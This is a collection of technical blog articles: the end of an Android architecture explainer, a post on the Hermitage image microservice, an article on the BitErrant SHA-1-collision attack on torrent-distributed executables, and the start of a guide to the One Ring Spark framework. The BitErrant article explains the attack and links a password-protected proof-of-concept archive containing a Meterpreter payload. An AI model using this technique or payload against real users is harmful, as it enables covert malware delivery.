«Запуск» приложения из лончера тоже происходит через intent. Лончер создаёт явный intent категории `LAUNCHER`, который «обрабатывается» запуском основной activity приложения.
Приложение может иметь *несколько* activity, которые поддерживают такой intent, и отображаться в лончере несколько раз (при этом может понадобиться указать им разную `taskAffinity`). Или не иметь ни одной и не отображаться в лончере вообще (но по-прежнему отображаться в полном списке установленных приложений в настройках). «Обычные» приложения так делают довольно редко; самый известный пример такого поведения — Google Play Services.
Многие операционные системы делятся на собственно операционную систему и приложения, установленные поверх, ничего друг о друге не знающие и не умеющие взаимодействовать. Система компонентов и intent’ов Android позволяет приложениям, *по-прежнему абсолютно ничего друг о друге не зная*, составлять для пользователя один интегрированный системный user experience — установленные приложения *реализуют части* одной большой системы, они составляют из себя систему. И это, с одной стороны, происходит прозрачно для пользователя, с другой — представляет неограниченные возможности для кастомизации.
По-моему, это очень красиво.
### Tasks & back stack
Как я уже говорил, в браузере пользователь может переключаться не между сайтами, а между вкладками, история каждой из которых может содержать много страниц разных сайтов. Аналогично, в Android пользователь может переключаться между *задачами* (tasks), которые отображаются в виде карточек на [recents screen](https://developer.android.com/guide/components/activities/recents.html). Каждая задача представляет собой back stack — несколько activity, «наложенных» друг на друга.
Когда одна activity запускает другую, новая activity помещается в стек поверх старой. Когда верхняя activity в стеке завершается — например, когда пользователь нажимает системную кнопку «назад» — предыдущая activity в стеке снова отображается на экране.
Каждый стек может включать в себя activity из разных приложений, и несколько копий одной activity могут быть одновременно открыты в рамках разных задач или даже внутри одного стека.
При запуске новой activity могут быть указаны специальные флаги, такие как `singleTop`, `singleTask`, `singleInstance` и `CLEAR_TOP`, которые модифицируют этот механизм. Например, приложения-браузеры обычно разрешают запуск только одной копии своей основной activity, и для переключения между открытыми страницами реализуют собственную систему вкладок. С другой стороны, [Custom Tabs](https://segunfamisa.com/posts/chrome-custom-tabs) — пример activity в браузере (чаще всего Chrome), которая ведёт себя почти «как обычно», то есть показывает только одну страницу, но позволяет одновременно открывать несколько своих копий.
App lifecycle
-------------
Одно из основных ограничений встраиваемых и мобильных устройств — небольшое количество оперативной памяти (RAM). Если современные флагманские устройства уже оснащаются несколькими *гигабайтами* оперативной памяти, то в первом смартфоне на Android, HTC Dream (он же T-Mobile G1), вышедшем в сентябре 2008 года, её было всего 192 мегабайта.
Проблема ограниченной памяти дополнительно осложняется тем, что в мобильных устройствах, в отличие от «обычных» компьютеров, не используются swap-разделы (и swap-файлы) — в том числе и из-за низкой (по сравнению с SSD и HDD) скорости доступа к SD-картам и встроенной флеш-памяти, где они могли бы размещаться. Начиная с версии 4.4 KitKat, Android [использует](https://source.android.com/devices/tech/perf/low-ram#zram) zRAM swap, то есть эффективно сжимает малоиспользуемые участки памяти. Тем не менее, проблема ограниченной памяти остаётся.
Если все процессы представляют собой для системы чёрный ящик, лучшая из возможных стратегия поведения в случае нехватки свободной памяти — принудительно завершать («убивать») какие-то процессы, что и делает Linux Out Of Memory (OOM) Killer. Но Android *знает*, что происходит в системе, ему известно, какие приложения и какие их компоненты запущены, что позволяет реализовать гораздо более «умную» схему освобождения памяти.
Во-первых, когда свободная память заканчивается, Android явно просит приложения освободить ненужную память (например, сбросить кэш), вызывая методы `onTrimMemory`/`onLowMemory`. Во-вторых, Android может эффективно проводить сборку мусора в фоновых приложениях, освобождая память, которую они больше не используют (на уровне Java), при этом не замедляя работу текущего приложения.
Но основной механизм освобождения памяти в Android — это **завершение наименее используемых приложений**. Система автоматически выбирает приложения, наименее важные для пользователя (например, те, из которых пользователь давно ушёл), даёт их компонентам шанс дополнительно освободить ресурсы, вызывая такие методы, как `onDestroy`, и завершает их, полностью освобождая используемую ими память и ресурсы.
Если пользователь возвращается в activity приложения, завершённого системой из-за нехватки памяти, эта activity запускается снова. При этом **перезапуск происходит прозрачно для пользователя**, поскольку activity сохраняет своё состояние при завершении (`onSaveInstanceState`) и восстанавливает его при последующем запуске. Реализованные в Android Framework виджеты используют этот механизм, чтобы автоматически сохранить состояние интерфейса (UI) при перезапуске — с точностью до введённого в EditText текста, положения курсора, позиции прокрутки (scroll) и т.д. Разработчик приложения может дополнительно реализовать сохранение и восстановление каких-то ещё данных, специфичных для этого приложения.
Подчеркну, что Android может перезапускать приложения не полностью, а *покомпонентно*, оставляя неиспользуемые части завершёнными — например, из двух копий одной activity одна может быть перезапущена, а другая остаться завершённой.
С точки зрения пользователя этот механизм похож на использование swap: в обоих случаях при возвращении в *выгруженную* часть приложения приходится немного подождать, пока она загружается снова — в одном случае, с диска, в другом — пересоздаётся по сохранённому состоянию.
Именно этот механизм автоматического перезапуска и восстановления состояния создаёт у пользователя ощущение, что приложения «запущены всегда», избавляя его от необходимости явно запускать и закрывать приложения и сохранять введённые в них данные.
Services
--------
Приложениям может потребоваться выполнять действия, не связанные напрямую ни с какой activity, в том числе, продолжать делать их в фоне, когда все activity этого приложения завершены. Например, приложение может скачивать из сети большой файл, обрабатывать фотографии, воспроизводить музыку, синхронизировать данные или просто поддерживать TCP-соединение с сервером для получения уведомлений.
Такую функциональность нельзя реализовывать, просто запуская отдельный поток — это было бы для системы чёрным ящиком; в том числе, процесс был бы завершён при завершении всех activity, независимо от состояния таких фоновых операций. Вместо этого Android предлагает использовать ещё один вид компонентов — **[сервис](https://developer.android.com/guide/components/services.html)**.
Сервис нужен, чтобы сообщить системе, что в процессе приложения выполняются действия, которые не являются частью activity этого приложения. Сам по себе сервис не означает создание отдельного потока или процесса — его точки входа (entry points) запускаются в основном потоке приложения. Обычно реализация сервиса запускает дополнительные потоки и управляет ими самостоятельно.
Сервисы во многом похожи на activity: они тоже запускаются с помощью intent’ов и могут быть завершены системой при нехватке памяти.
Запущенные сервисы могут быть в трёх состояниях:
* **Foreground** service — сервис, выполняющий действие, состояние которого важно для пользователя, например, загрузка файла или воспроизведение музыки. Такой сервис обязан отображать уведомление в системной шторке уведомлений (примеры: состояние загрузки, название текущей песни и управление воспроизведением). Система считает такой сервис примерно настолько же важным для пользователя, как и текущая activity, и завершит его только в крайнем случае.
* **Background** service — сервис, выполняющий фоновое действие, состояние которого не интересует пользователя (чаще всего, синхронизацию). Такие сервисы могут быть завершены при нехватке памяти с гораздо большей вероятностью. В старых версиях Android большое количество одновременно запущенных фоновых сервисов часто становилось причиной «тормозов»; начиная с версии 8.0 Oreo, Android серьёзно [ограничивает](https://developer.android.com/about/versions/oreo/background.html) использование фоновых сервисов, принудительно завершая их через несколько минут после того, как пользователь выходит из приложения.
* **Bound** service — сервис, обрабатывающий входящее Binder-подключение. Такие сервисы предоставляют какую-то функциональность для других приложений или системы (например, `WallpaperService` и Google Play Services). В этом случае система может автоматически запускать сервис при подключении к нему клиентов и останавливать его при их отключении.
Рекомендуемый способ выполнять фоновые действия — использование [JobScheduler](https://developer.android.com/topic/performance/scheduling.html#js), системного механизма планирования фоновой работы. JobScheduler позволяет приложению указать критерии запуска сервиса, такие как:
* **Доступность сети**. Здесь приложение может указать, требуется ли этому сервису наличие сетевого подключения, и если да, то возможна ли работа в роуминге или при использовании лимитного (metered) подключения.
* **Подключение к источнику питания**, что позволяет сервисам выполняться, не «сажая батарею».
* **Бездействие** (idle), что позволяет сервисам выполняться, пока устройство не используется, не замедляя работу во время активного использования.
* **Обновления контента** — например, появление новой фотографии.
* **Период и крайний срок** запуска — например, очистка кэша может производиться ежедневно, а синхронизация событий в календаре — каждый час.
JobScheduler планирует выполнение (реализованное как вызов через Binder) зарегистрированных в нём сервисов в соответствии с указанными критериями. Поскольку JobScheduler — общесистемный механизм, он учитывает при планировке критерии зарегистрированных сервисов всех установленных приложений. Например, он может запускать сервисы по очереди, а не одновременно, чтобы предотвратить резкую нагрузку на устройство во время использования, и планировать периодическое выполнение нескольких сервисов небольшими группами (batch), чтобы предотвратить постоянное энергозатратное включение-выключение радиооборудования.
**Про TCP-соединение**Как можно заметить, использование JobScheduler не может заменить собой одного из вариантов использования фоновых сервисов — поддержания TCP-соединения с сервером для получения push-уведомлений. Если бы Android предоставлял приложениям такую возможность, устройству пришлось бы держать *все приложения*, соединяющиеся со своими серверами, запущенными *всё время*, а это, конечно, невозможно.
Решение этой проблемы — специальные **push-сервисы**, самый известный из которых — [Firebase Cloud Messaging](https://firebase.google.com/products/cloud-messaging/) от Google (бывший Google Cloud Messaging).
Клиентская часть FCM реализована в приложении Google Play Services. Это приложение, которое специальным образом исключается из обычных ограничений на фоновые сервисы, поддерживает *одно* соединение с серверами Google. Разработчик, желающий отправить своему приложению push-уведомление, пересылает его через серверную часть FCM, после чего приложение Play Services, получив сообщение, передаёт его приложению, которому оно предназначено.
Такая схема позволяет, с одной стороны, мгновенно доставлять push-уведомления всем приложениям (не дожидаясь следующего периода синхронизации), с другой стороны, не держать множество приложений одновременно запущенными.
Broadcast receivers & content providers
---------------------------------------
Кроме activity и сервисов, у приложений под Android есть два других вида компонентов, менее интересных для обсуждения — это broadcast receiver’ы и content provider’ы.
**Broadcast receiver** — компонент, позволяющий приложению принимать [broadcast’ы](https://developer.android.com/guide/components/broadcasts.html), специальный вид сообщений от системы или других приложений. Исходно broadcast’ы, как следует из названия, в основном использовались для рассылки широковещательных сообщений всем подписавшимся приложениям — например, система посылает сообщение `AIRPLANE_MODE_CHANGED` при включении или отключении самолётного режима.
Сейчас вместо подписки на такие broadcast’ы, как `NEW_PICTURE` и `NEW_VIDEO`, приложения должны использовать JobScheduler. Broadcast’ы используются либо для более редких событий (таких как `BOOT_COMPLETED`), либо с явными intent’ами, то есть именно в качестве сообщения от одного приложения к другому.
**[Content provider](https://developer.android.com/guide/topics/providers/content-providers.html)** — компонент, позволяющий приложению предоставлять другим приложениям доступ к данным, которыми оно управляет. Пример данных, доступ к которым можно получить таким образом — список контактов пользователя.
При этом приложение может хранить сами данные каким угодно образом, в том числе на устройстве в виде файлов, в настоящей базе данных (SQLite) или запрашивать их с сервера по сети. В этом смысле content provider — это унифицированный интерфейс для доступа к данным, независимо от формы их хранения.
Взаимодействие с content provider’ом во многом похоже на доступ к удалённой базе данных через REST API. Приложение-клиент запрашивает данные по URI (например, `content://com.example.Dictionary.provider/words/42`) через ContentResolver. Приложение-сервер определяет, к какому именно набору данных был сделан запрос, используя `UriMatcher`, и выполняет запрошенное действие (query, insert, update, delete).
Именно поверх content provider’ов реализован [Storage Access Framework](https://developer.android.com/guide/topics/providers/document-provider.html), позволяющий приложениям, хранящим файлы в облаке (например, Dropbox и Google Photos) предоставлять доступ к ним остальным приложениям, не занимая место на устройстве полной копией всех хранящихся в облаке файлов.
---
В [следующей статье](https://habr.com/company/solarsecurity/blog/427431/) я расскажу о процессе загрузки Android, о содержимом файловой системы, о том, как хранятся данные пользователя и приложений, и о root-доступе. | https://habr.com/ru/post/338494/ | null | ru | null |
# Hermitage — решение ваших проблем с хранением и обработкой изображений
Всем привет! Буду краток: в обмен на пять минут вашего времени отдел PHP-разработки компании Лайв Тайпинг расскажет вам о собственном микросервисе для хранения и обработки загружаемых изображений. Он называется [Hermitage](https://github.com/LiveTyping/hermitage-skeleton). Его задача — представлять изображение в разных версиях согласно заранее заданным параметрам. Hermitage будет полезен в ситуациях, когда необходим автономный и масштабируемый сервер для хранения изображений и манипуляций над ними.
Чем хорош Hermitage на фоне других
==================================
Для примера возьмём [Glide](https://glide.thephpleague.com/). Помимо того, что он и ему подобные сервисы каждый раз имеет дело с оригиналом изображения, обрабатывая его «на лету», он также принимает параметры манипуляции в каждом запросе к изображению. Это не только нагружает систему, но и вынуждает клиентскую сторону каждый раз передавать параметры для необходимой версии изображения.
С Hermitage клиент получает не обработанный здесь и сейчас исходник, а его версию. Для получения нужной версии изображения вы должны передать с запросом только название версии.
Когда сервер впервые получит запрос на выдачу версии, он произведет манипуляции над изображением по заранее известным ему параметрам и при следующих обращениях будет отдавать уже готовое изображение.
Изображения хранятся на любом удобном для вас хранилище, будь то AWS S3, Dropbox или FTP. Абстрагироваться от одного конкретного хранилища и подключить любое из них помогает библиотека [FlySystem](https://flysystem.thephpleague.com/), а для манипуляций над изображениями используется [Image от Intervention](http://image.intervention.io).
Как работает Hermitage
======================
В целях экономии вашего времени мы сделали весёлые картинки о том, как всё это работает.
*Сохранение изображения*
*Запрос изображения*
Запрос изображения клиентом может протекать по двум сценариям: когда версия изображения уже есть в облаке, и когда её там нет.
В первом случае сервис отдаёт клиенту версию изображения, получая её напрямую из облака:
А во втором — производит необходимые манипуляции над изображением, сохраняет его в облако и отдаёт клиенту:
API
===
Hermitage API до безобразия прост и предоставляет основную функциональность: сохранить, удалить и получить необходимый вариант изображения.
В целях безопасности запросы на сохранение и удаление изображения требуют подпись, уникальную для каждого запроса и основанную на URL запроса, http-методе, текущей метке времени и секретном ключе.
Получить изображение можно по URL: `http://hermitage/{filename}:{version}`
где `{filename}` — имя файла, а `{version}` — имя запрашиваемой версии изображения, прописанной в файле конфигурации данного приложения.
Более подробную информацию по API можно прочитать [здесь](https://github.com/LiveTyping/hermitage#rest-api).
Также уже имеется готовый клиент по работе с API на PHP: [hermitage-php-client](https://github.com/LiveTyping/hermitage-php-client) и [адаптер для популярного фреймворка Yii2](https://github.com/LiveTyping/yii2-hermitage-client).
Как развернуть Hermitage
========================
Требования:
* PHP >= 7.0
* PHP APCU
* GD2/ImageMagick
Установка
---------
Запускаем следующую команду Composer:
```
composer create-project livetyping/hermitage-skeleton hermitage
```
Конфигурация
------------
Копируем файл `.env.example` в `.env`
```
cp .env.example .env
```
Локальный файл `.env` выглядит так:
```
AUTH_SECRET=changeme
###
# Adapter
##
STORAGE_ADAPTER=local
# AWS S3
#STORAGE_ADAPTER=s3
#STORAGE_S3_REGION=
#STORAGE_S3_BUCKET=
#STORAGE_S3_KEY=
#STORAGE_S3_SECRET=
```
Не забудьте сгенерировать рандомную строку и прописать `AUTH_SECRET`.
Прописываем необходимые версии изображений в файле `config/versions.php`:
```
/**
* [
* '{version-name}' => [
* 'type' => '{manipulator-name}',
* // manipulator options
* ],
* ]
*
* Default manipulators:
* - resize {@see \livetyping\hermitage\foundation\images\processor\manipulators\Resize}
* - fit {@see \livetyping\hermitage\foundation\images\processor\manipulators\Fit}
*/
return [
'mini' => [
'type' => 'resize',
'height' => 200,
'width' => 200,
],
'small' => [
'type' => 'resize',
'height' => 400,
'width' => 400,
],
'thumb' => [
'type' => 'fit',
'height' => 100,
'width' => 100,
],
];
```
В завершении всего вам остаётся только сконфигурировать веб-сервер. Будет это nginx или Apache, решать вам.
Ссылки
======
* [Hermitage Skeleton](https://github.com/LiveTyping/hermitage-skeleton)
* [PHP-клиент для Hermitage](https://github.com/LiveTyping/hermitage-php-client)
* [Адаптер клиента для Yii2](https://github.com/LiveTyping/yii2-hermitage-client)
На этом всё. Если вам понравился [микросервис](https://github.com/LiveTyping/hermitage), мы будем рады вашим коммитам.
Свои замечания и пожелания оставляйте в комментариях. | https://habr.com/ru/post/310340/ | null | ru | null |
# Атака BitErrant с коллизиями SHA-1: создаём разные .exe с одинаковым файлом .torrent
23 февраля 2017 года сотрудники компании Google и Центра математики и информатики в Амстердаме представили [первый алгоритм генерации коллизий для SHA-1](https://habrahabr.ru/post/322478/). Эта находка стала результатом двухлетнего исследования, которая началась вскоре после публикации в 2013 году работы криптографа Марка Стивенса из Центра математики и информатики в Амстердаме о теоретическом подходе к созданию коллизии SHA-1. Он же в дальнейшем продолжил поиск практических методов взлома. Теперь вместе с коллегами из Google он опубликовал [научную работу](https://shattered.io/static/shattered.pdf), в которой описаны общие принципы генерации документов с блоками сообщений, подверженных коллизиям SHA-1 (атака [SHAttered](http://shattered.io/)).
Сразу стало понятно, насколько опасной может быть атака, ведь [устаревшая](https://security.googleblog.com/2014/09/gradually-sunsetting-sha-1.html) криптографическая хеш-функция SHA-1 до сих пор широко используется, в том числе в приложениях и протоколах безопасности, включая TLS и SSL, PGP, SSH, S/MIME, IPsec. Хеши SHA-1 применяются в разных системах управления версиями Git, Mercurial и других для верификации содержимого и выявления повреждения данных (см. [комментарий Торвальдса](https://habrahabr.ru/post/322622/) по поводу коллизий в Git). Хеши SHA-1 используются даже в игровой приставке Wii для проверки подписи во время загрузки. Использование SHA-1 по закону требуется некоторыми правительственными организациями. И самое интересное для темы данной статьи — хеши SHA-1 применяются в пиринговом сетевом протоколе BitTorrent для обмена файлами через Интернет.
Вкратце, как работает BitTorrent, а именно, [как устроен торрент-файл](https://habrahabr.ru/post/119753/).
Для раздачи файла через торренты на первом шаге нужно сгенерировать из этого файла (DATA) специальный торрент-файл с расширением .torrent (DATA.torrent). Оригинальный файл разбивается на определённое количество сегментов (chunks), для каждого из них вычисляется хеш SHA-1. Все полученные хеши соединяются вместе и хранятся в торрент-файле в строке `pieces` под общим ключом словаря. Длина этой строки равна 20 \* количество кусков.
Когда кто-то пытается скачать файл (DATA) через BitTorrent, сначала ему надо скачать торрент-файл DATA.torrent и распарсить его. Основываясь на информации из этого файла, клиент ищет пиров и скачивает сегменты оригинального файла (DATA). Чтобы защититься от пиров, которые пытаются подсунуть вредоносные данные, клиент сверяет каждый сегмент с его хешем из торрент-файла. Если хеш в торрент-файле не совпадает с хешем SHA1 в скачиваемом фрагменте, то плохой фрагмент отвергается.
Теперь вектор атаки становится понятен.
Злоумышленник может создать исполняемый файл, который при исполнении не делает ничего запрещённого и выглядит безобидно, но меняет путь исполнения команд в зависимости от содержимого региона SHATTER. При проверке антивирусами оригинальный файл не вызовет подозрений, потому что вредоносная часть хранится в зашифрованном блобе и никогда не запускается на исполнение.
И вот здесь начинается самое интересное.
[Атака BitErrant](https://biterrant.io/)
========================================
Если злоумышленник может создать два блоба данных с одинаковыми хешами SHA1, то при некоторых условиях можно сгенерировать два исполняемых файла с различными данными внутри. Но оба файла будут соответствовать одному и тому же торрент-файлу.
Если все условия соблюдены, то мы получаем два исполняемых файла, в которых одну часть можно заменить на другую. Если заменить её, то изменится путь исполнения команд и сработает вредоносный код.
Конкретно такую «переменную» функциональность исполняемого файла можно на практике реализовать благодаря протоколу BitTorrent. Принцип простой: мы начинаем сидирование через торренты «хорошим» файлом, а затем в определённый момент подменяем его «плохим», эффективно меняя фрагмент данных у тех, кто скачивает этот файл в сети пиров.
Демонстрация и инструментарий
=============================
**[biterrant\_poc.zip](https://biterrant.io/files/biterrant_poc.zip)**
В архиве два исполняемых файла EXE с различной функциональностью (во вредоносном файле реализована начинка [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/) для фреймворка Metasploit, которая в данном случае начинает прослушивать все интерфейсы).
*Пароль для расшифровки архива: biterrant.io*
SHA1: eed49a31e0a605464b41df46fbca189dcc620fc5
[Хороший файл на VirusTotal](https://virustotal.com/en/file/aab71ef7bf13e4fe8613d4f1f9ae136cd7f03474c0e576f0de6f9fc4c15edd97/analysis/1488732404/), [плохой файл](https://virustotal.com/en/file/0624ed0bad3edf8308004b323d6f3cfd70751395dc93bd1108f7a6df87223102/analysis/1488732438/) там же.
Автор атаки BitErrant разработал [соответствующий инструментарий](https://github.com/skelsec/BitErrant) — фреймворк для генерации исполняемых файлов с одинаковыми .torrent. С помощью этого фреймворка можно помещать произвольную нагрузку в зашифрованную часть исполняемого файла и получить параметры для её вызова, которые затем помещаются в исполняемую часть файла. Потом на ваш выбор указываете невинные функции для подменяемой части хорошего файла. Затем питоновский скрипт генерирует два исполняемых файла — хороший и плохой — которые соответствуют *одному* файлу .torrent.
Пока что никто не применяет данную атаку для распространения файлов через официальные торрент-трекеры. Да и даже «хорошие» файлы с изменяемой функциональностью выглядят подозрительно для некоторых антивирусов. Так что опасность этой атаки не стоит воспринимать слишком серьёзно.
Чтобы защититься от этой атаки, достаточно всегда проверять общий хеш скачиваемого файла и сверять его с хешем файла, который стоит на раздаче, вот и всё. Между прочим, есть даже опция включать общий хеш MD5 файла прямо в торрент-файл, тогда данная атака станет неосуществима. В большинстве случаев никто эту опцию не использует. | https://habr.com/ru/post/357944/ | null | ru | null |
# Introducing One Ring — an open-source pipeline for all your Spark applications
If you utilize Apache Spark, you probably have a few applications that consume some data from external sources and produce some intermediate result, that is about to be consumed by some applications further down the processing chain, and so on until you get a final result.
We suspect that because [we](https://locomizer.com/) have a similar pipeline with lots of processes like this one:
*[Click here](https://habrastorage.org/webt/tk/lq/ob/tklqobdztwy05weytrwrbrpg9ie.png) for a bit larger version*
Each rectangle is a Spark application with a set of their own execution parameters, and each arrow is an equally parametrized dataset (externally stored highlighted with a color; note the number of intermediate ones). This example is not the most complex of our processes, it’s fairly a simple one. And we don’t assemble such workflows manually, we generate them from Process Templates (outlined as groups on this flowchart).
So here comes the [One Ring](https://github.com/PastorGL/OneRing/), a Spark pipelining framework with very robust configuration abilities, which makes it easier to compose and execute a most complex Process as a single large Spark job.
And we just made it open source. Perhaps, you’re interested in the details.
Let we speak about Spark applications. This document explains how to use...
* One Ring to unify them all,
* One Ring to unite them,
* One Ring to bind them all
* And in the Clouds run them
...in parametrized chains.
> Each Application in terms of One Ring is an Operation — an entity with its own configuration space and input / output data streams, described with a minimal set of metadata. That abstraction allows a developer to flexibly compose complex process pipelines from a set of standard subroutines without writing more glue code, just a simple configuration in DSL. Or even generate a very complex ones from shorter Template fragments.
Let us start with a description how to build and extend One Ring, then proceed to configuration and composition stuff.
One Ring to unify them all
--------------------------
To build One Ring you need Apache Maven, version 3.5 or higher.
Make sure you've cloned this repo with all submodules:
```
git clone --recursive https://github.com/PastorGL/OneRing.git
```
### One Ring CLI
If you're planning to compute on an EMR cluster, just `cd` to OneRing directory and execute Maven in the default profile:
```
mvn clean package
```
The `./TaskWrapper/target/one-ring-cli.jar` is a fat executable JAR targeted at the Spark environment provided by EMR version 5.23.0.
If you're planning to build a local artifact with full Spark built-in, execute build in 'local' profile:
```
mvn clean package -Plocal
```
Make sure the resulting JAR is about ~100 MB in size.
It isn't recommended to skip tests in the build process, but if you're running Spark locally on your build machine, you could add `-DskipTests` to Maven command line, because they will interfere.
After you've built your CLI artifact, look into './RESTWrapper/docs' for the automatically generated documentation of available Packages and Operations (in Markdown format).
### One Ring Dist
The `./DistWrapper/target/one-ring-dist.jar` is a fat executable JAR that generates Hadoop's `dist-cp` or EMR's `s3-dist-cp` script to copy the source data from the external storage (namely, S3) to cluster's internal HDFS, and the computation's result back.
It is an optional component, documented a bit later.
### One Ring REST
The `./RESTWrapper/target/one-ring-rest.jar` is a fat executable JAR that serves a REST-ish back-end for the not-yet-implemented [but much wanted](https://github.com/PastorGL/OneRing/issues/1) Visual Template Editor. It also serves the docs via dedicated endpoint.
One Ring is designed with extensibility in mind.
### Extend Operations
To extend One Ring built-in set of Operations, you have to implement an [Operation](https://github.com/PastorGL/OneRing/blob/master/Commons/src/main/java/ash/nazg/spark/Operation.java) class according to a set of conventions described in this doc.
First off, you should create a Maven module. Place it at the same level as root pom.xml, and include your module in root project's section. You can freely choose the group and artifact IDs you like.
To make One Ring know your module, include its artifact reference in TaskWrapper's pom.xml . To make your module know One Ring, include a reference of artifact 'ash.nazg:Commons' in your module's (and its test-jar scope too). For an example, look into [Math's pom.xml](https://github.com/PastorGL/OneRing/blob/master/Math/pom.xml).
Now you can proceed to create an Operation package and describe it.
By convention, Operation package must be named `your.package.name.operations` and have `package-info.java` annotated with `@ash.nazg.config.tdl.Description`. That annotation is required by One Ring to recognize the contents of `your.package.name`. [There's an example](https://github.com/PastorGL/OneRing/blob/master/Math/src/main/java/ash/nazg/math/operations/package-info.java).
Place all your Operations there.
If your module contains a number of Operation that share same Parameter Definitions, names of these parameters must be placed in a `public final class your.package.name.config.ConfigurationParameters` class as `public static final String` constants with same `@Description` annotation each. An Operation can define its own parameters inside its class following the same convention.
Parameter Definitions and their default value constants have names, depending on their purpose:
* `DS_INPUT_` for input DataStream references,
* `DS_OUTPUT_` for output DataStream references,
* `OP_` for the operation's Parameter,
* `DEF_` for any default value, and the rest of the name should match a corresponding `OP_` or `DS_`,
* `GEN_` for any column, generated by this Operation.
References to columns of input DataStreams must end with `_COLUMN` suffix, and to column lists with `_COLUMNS`.
An Operation in essence is
```
public abstract class Operation implements Serializable {
public abstract Map getResult(Map input) throws Exception;
}
```
...but enlightened with a surplus metadata that allows One Ring to flexibly configure it, and to ensure the correctness and consistency of all Operation configurations in the Process chain.
It is up to you, the author, to provide all that metadata. In the lack of any required metadata the build will be prematurely failed by One Ring Guardian, so incomplete class won't fail your extended copy of One Ring CLI on your Process execution time.
At least, you must implement the following methods:
* `abstract public String verb()` that returns a short symbolic name to reference your Operation instance in the config file, annotated with a `@Description`,
* `abstract public TaskDescriptionLanguage.Operation description()` that defines Operation's entire configuration space in TDL2 ([Task Description Language](https://github.com/PastorGL/OneRing/blob/master/Commons/src/main/java/ash/nazg/config/tdl/TaskDescriptionLanguage.java)),
* the `getResult()` that contains an entry point of your business code. It'll be fed with all DataStreams accumulated by the current Process at the moment of your Operation invocation, and should return any DataStreams your Operation should emit.
Also you must override `public void setConfig(OperationConfig config) throws InvalidConfigValueException`, call its `super()` at the beginning, and then read all parameters from the configuration space to your Operation class' fields. If any of the parameters have invalid value, you're obliged to throw an `InvalidConfigValueException` with a descriptive message about the configuration mistake.
You absolutely should create a test case for your Operation. See existing tests for a reference.
There is a plenty of examples to learn by, just look into the source code for Operation's descendants. For your convenience, there's a list of most notable ones:
* [FilterByDateOperation](https://github.com/PastorGL/OneRing/blob/master/DateTime/src/main/java/ash/nazg/datetime/operations/FilterByDateOperation.java) with lots of parameters of different types that have defaults,
* [SplitByDateOperation](https://github.com/PastorGL/OneRing/blob/master/DateTime/src/main/java/ash/nazg/datetime/operations/SplitByDateOperation.java) — its sister Operation generates a lot of output DataStreams with wildcard names,
* [DummyOperation](https://github.com/PastorGL/OneRing/blob/master/Commons/src/main/java/ash/nazg/commons/operations/DummyOperation.java) — this one properly does nothing, just creates aliases for its input DataStreams,
* [SubtractOperation](https://github.com/PastorGL/OneRing/blob/master/Commons/src/main/java/ash/nazg/commons/operations/SubtractOperation.java) can consume and emit both RDDs and PairRDDs as DataStreams,
* [WeightedSumOperation](https://github.com/PastorGL/OneRing/blob/master/Math/src/main/java/ash/nazg/math/operations/WeightedSumOperation.java) generates a lot of columns that either come from input DataStreams or are created anew,
* and the package [Proximity](https://github.com/PastorGL/OneRing/blob/master/Proximity/src/main/java/ash/nazg/proximity/operations/package-info.java) contains Operations that deal with Point and Polygon RDDs in their DataStreams.
### Extend Storage Adapters
To extend One Ring with a custom Storage Adapter, you have to implement a pair of [InputAdapter](https://github.com/PastorGL/OneRing/blob/master/Commons/src/main/java/ash/nazg/storage/InputAdapter.java) and [OutputAdapter](https://github.com/PastorGL/OneRing/blob/master/Commons/src/main/java/ash/nazg/storage/OutputAdapter.java) interfaces. They're fairly straightforward, just see existing Adapter [sources](https://github.com/PastorGL/OneRing/blob/master/TaskWrapper/src/main/java/ash/nazg/storage) for the reference.
For example, you could create an Adapter for Spark 'parquet' files instead of CSV if you have your source data stored that way.
A single restriction exists: you can't set your Adapter as a fallback one, as that is reserved to One Ring Hadoop Adapter.
Hopefully this bit of information is enough for the beginning.
One Ring to bind them
---------------------
Now entering the configuration space.
There is a domain specific language named TDL3 that stands for One Ring Task Definition Language. (There also are DSLs named TDL1 and TDL2, but they're fairly subtle.)
For the language's object model, see [TaskDefinitionLanguage.java](https://github.com/PastorGL/OneRing/blob/master/Commons/src/main/java/ash/nazg/config/tdl/TaskDefinitionLanguage.java). Note that the main form intended for human use isn't JSON but a simple non-sectioned .ini (or Java's .properties) file. We refer to this file as tasks.ini, or just a config.
A recommended practice is to write keys in paragraphs grouped for each Operation, preceded by its Input DataStreams and succeeded by Output DataStreams groups of keys.
### Namespace Layers
As you could see, each key begins with a prefix `spark.meta.`. One Ring can (and first tries to) read its configuration directly from Spark context, not only a config file, and each Spark property must start with a `spark.` prefix. We add another prefix `meta.` (by convention; this can be any unique token of your choice) to distinguish our own properties from Spark's. Also a single tasks.ini may contain a number of Processes if properly prefixed, just start their keys with `spark.process1_name.`, `spark.another_process.` and so on.
If you run One Ring in Local mode, you can supply properties via .ini file, and omit all prefixes. Let assume that we've stripped all Spark's prefixes in mind and now look directly into namespaces of keys.
The config is layered into several namespaces, and all parameter names must be unique in the corresponding namespace. These layers are distinguished, again, by some prefix.
### Foreign Layers
First namespace layer is One Ring DistWrapper's `distcp.` which instructs that utility to generate a script file for the `dist-cp` calls:
```
distcp.wrap=both
distcp.exe=s3-dist-cp
```
Let us discuss it a bit later. CLI itself ignores all foreign layers.
### Variables
If a key or a value contains a token of the form `{ALL_CAPS}`, it'll be treated by the CLI as a configuration Variable, and will be replaced by the value supplied via command line or variables file.
```
ds.input.part_count.signals={PARTS}
```
If the Variable's value wasn't supplied, no replacement will be made, unless the variable doesn't include a default value for itself in the form of `{ALL_CAPS:any default value}`. Default values may not contain the '}' symbol.
```
ds.input.part_count.signals={PARTS:50}
```
There are a few other restrictions to default values. First, each Variable occurrence has a different default and does not carry one over entire config, so you should set them each time you use that Variable. Second, if a Variable after a replacement forms a reference to another Variable, it will not be processed recursively. We do not like to build a Turing-complete machine out of tasks.ini.
It is notable that Variables may be encountered at any side of `=` in the tasks.ini lines, and there is no limit of them for a single line and/or config file.
### CLI Task of the Process
Next layer is `task.`, and it contains properties that configure the CLI itself for the current Process' as a Spark job, or a CLI Task.
```
task.operations=range_filter,accuracy_filter,h3,timezone,center_mass_1,track_type,type_other,track_type_filter,remove_point_type,iron_glitch,slow_motion,center_mass_2,aqua2,map_by_user,map_tracks_non_pedestrian,map_pedestrian,map_aqua2,count_by_user,count_tracks_non_pedestrian,count_pedestrian,count_aqua2
task.input.sink=signals
task.tee.output=timezoned,tracks_non_pedestrian,pedestrian,aqua2,count_by_user,count_tracks_non_pedestrian,count_pedestrian,count_aqua2
```
